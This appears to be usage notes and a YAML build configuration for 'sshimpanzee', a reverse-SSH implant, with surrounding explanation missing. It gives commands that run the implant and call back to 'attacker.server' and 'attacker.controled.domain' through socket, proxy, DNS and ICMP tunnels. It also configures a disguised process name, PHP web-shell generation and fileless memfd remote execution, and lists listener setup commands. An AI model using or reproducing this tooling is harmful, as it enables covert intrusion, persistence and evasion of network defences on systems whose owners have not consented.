sudo docker build . --output . 
sudo docker build . --platform arm64 --output . 

###
# This is sshimpanzee build configuration file
# YAML is used to describe what behaviour and feature should the sshimpanzee get
###

### General config

process_name: "sshimpanzee" # Name of the process as it appears in ps (yet you won't be able to kill it with this name)


banner: True # Should the banner be displayed at log
verbose: 3 # Verbosity level as written in build/build.log

shell: "/bin/sh" # Default shell to pop for user, bypassing /etc/passwd entries with false or nologin as shell
timer: 60*1000*1000  # Time in milliseconds before a new sshimpanzee child is forked after exiting. For example in sock MODE, a new sshd connection will be made 1 minute after the previous one is dead

keygen: True # Re generate keys during build, insure a new HOST and CLIENT keys is used
public_key: #if new keys are not regenerated it is possible to specify a public client key to authenticate (only ed25519 keys are supported)
#public key: "ssh-ed25519 .... ROGUE@ROGUE"

make: True # Keep it to true if you want the builder script to generate sshd binary
force_clean_build: True #Currently required for docker builds, will force builder script to recompile tunnels and dependances
reconf: True # Required for docker builds


### Environment
# sshimpanzee is configured at runtime through environment variables, yet, it is possible to preset environment variable, to get a default behavior


env:
  if_not_set : # Variable here will be set if they do not already exists
    REMOTE: 127.0.0.1
    PORT: 8080
    MODE: sock # MODE environment variable is used to manage the default tunnel
  overwrite: # Variable here will overwrite already existent 
    

### Tunnels
# sshimpanzee come with different tunneling mecanisms
# To speed up compilation time, and more importantly to get a lighter binary it is possible to include or exclude some tunnels
# Tunnel compilation parameters can be specified here 
tun:
  sock:
      enabled: True

  icmp:
      enabled: True
      buildserv: True # should the corresponding ICMPTunnel server be built 
      raw_sock: False # build with support for raw sock for older kernels

  http_enc :
      enabled: True
      key: # web shell key, empty will result in a new key being generated
      target:
        - "php" # list of language you want to generate webshells for 
      path_fd: "/dev/shm/sshim" # Fifo that sshimpanzee will use to communicate with webshells

  dns:
      enabled: True    
      resource: sshimpanzee # DNS2TCP Resource
      key: sshimpanzee # DNS2TCP key
      obfuscate: True # obfuscating DNS2TCP Magic string, this will force the build of the corresponding srver
      buildserv: False 
      qtype: TXT # Type of query used by DNS2TCP

  proxysock:
      enabled: True

  no_build:
      enabled: False 
      path: []

# Openssh subsystems
# man sshd_config Subsystems

subsystems:

  internal_sftp: # standard sftp as provided by openssh 
    enabled: True # It is required for scp and sftp
    name: sftp
    exec: internal-sftp
    is_internal: True
    
  remote_exec: # Sshimpanzee custom subsystem
    enabled: True # remote execution using fileless memfd technique
    name: remote-exec
    exec: internal-remote-exec
    is_internal: True

  python: # example of a stadard ssh subsystem
    enabled: False
    name: python
    exec: /usr/bin/python -c "print('python code')"
    is_internal: False

MODE=socks REMOTE=127.0.0.1 PORT=8080 ./sshimpanzee

ssh [email protected] -oProxyCommand="nc -lp 8080" -i CLIENT

MODE=sock REMOTE=127.0.0.1 PORT=8080 ./sshimpanzee 

MODE=sock REMOTE=127.0.0.1 PORT=8080 SSHIM_LISTEN= ./sshimpanzee  # bind and listen to 127.0.0.1:8080

MODE=sock UNIXPATH=/tmp/sock SSHIM_UNIX ./sshimpanzee # Connect to unix socket /tmp/sock
MODE=sock UNIXPATH=/tmp/sock SSHIM_UNIX= SSHIM_LISTEN= ./sshimpanzee # Bind and listen to /tmp/sock unix socket 

ssh [email protected] -oProxyCommand="nc -lp 4444" -i CLIENT

MODE=proxysock REMOTE=attacker.server PORT=4444 http_proxy=socks5://proxy.lan:8080 ./sshimpanzee

MODE=proxysock REMOTE=attacker.server PORT=4444 http_proxy=http://proxy.lan:8080 ./sshimpanzee
MODE=proxysock REMOTE=attacker.server PROXY_USER=user PROXY_PASS=password PORT=4444 http_proxy=http://proxy.lan:8080 ./sshimpanzee

listen = 0.0.0.0
port = 53
user = nobody
key = sshimpanzee
chroot = /var/empty/dns2tcp/
domain = <SERVER>
resources = sshimpanzee:127.0.0.1:8080

sudo ./dns2tcpd -F -f dns2tcpdrc

ssh [email protected] -oProxyCommand="nc -lp 8080" -i CLIENT

MODE=dns REMOTE=attacker.controled.domain ./sshimpanzee

MODE=dns REMOTE=attacker.controled.domain RESOLVER=8.8.8.8 ./sshimpanzee # Force the use of 8.8.8.8 DNS Resolver

sudo setcap cap_net_raw+ep icmptunnel
echo 1 | sudo dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all 

ssh i -oProxyCommand=./icmptunnel -i test/CLIENT 

MODE=icmp REMOTE=127.0.0.1 ./sshimpanzee 

MODE=http_enc ./sshimpanzee 

ssh -o ProxyCommand='python proxy_cli.py http://127.0.0.1:8080/proxy.php EncryptionKey 2>/dev/null' a@a -i ../../keys/CLIENT 

sshimpanzee --new PORT #create a new listener on PORT
sshimpanzee --new-dns #create a new DNS listener (Don't forget to modify utils/client/config/dnsconf.txt)
sshimpanzee --new-icmp #create a new icmp listener
sshimpanzee --new-http PROXY_PHP_URL #create a new HTTP Session 

sshimpanzee --list #list availaible sessions

sshimpanzee --get SESSION_NUMBER #to jump into a session any extra parameters are passed as ssh params
sshimpanzee --rename SESSION_NUMBER #to rename a session
sshimpanzee --kill SESSION_NUMBER #to kill a session
sshimpanzee #use fzf to select which session you want

python remote_loader.py "ssh -vvvv t@t -S ./SOCKET -s remote-exec" /home/titouan/tools/Misc/RustScan/target/release/rustscan -a 127.0.0.1